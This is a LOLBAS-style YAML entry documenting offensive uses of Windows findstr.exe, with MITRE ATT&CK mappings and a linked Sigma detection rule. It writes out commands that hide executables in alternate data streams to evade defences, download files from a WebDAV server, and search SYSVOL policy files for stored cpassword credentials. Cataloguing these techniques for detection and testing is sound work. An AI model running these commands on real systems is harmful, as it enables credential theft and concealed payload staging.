---
Name: Findstr.exe
Description: Write to ADS, discover, or download files with Findstr.exe
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
  - Command: findstr /V /L W3AllLov3LolBas c:\ADS\file.exe > c:\ADS\file.txt:file.exe
    Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
    Usecase: Add a file to an alternate data stream to hide from defensive counter measures
    Category: ADS
    Privileges: User
    MitreID: T1564.004
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
    Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
    Usecase: Add a file to an alternate data stream from a webdav server to hide from defensive counter measures
    Category: ADS
    Privileges: User
    MitreID: T1564.004
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: findstr /S /I cpassword \\sysvol\policies\*.xml
    Description: Search for stored password in Group Policy files stored on SYSVOL.
    Usecase: Find credentials stored in cpassword attrbute
    Category: Credentials
    Privileges: User
    MitreID: T1552.001
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.exe
    Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.
    Usecase: Download/Copy file from webdav server
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Full_Path:
  - Path: C:\Windows\System32\findstr.exe
  - Path: C:\Windows\SysWOW64\findstr.exe
Code_Sample:
  - Code:
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml
Resources:
  - Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
  - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Acknowledgement:
  - Person: Oddvar Moe
    Handle: '@oddvarmoe'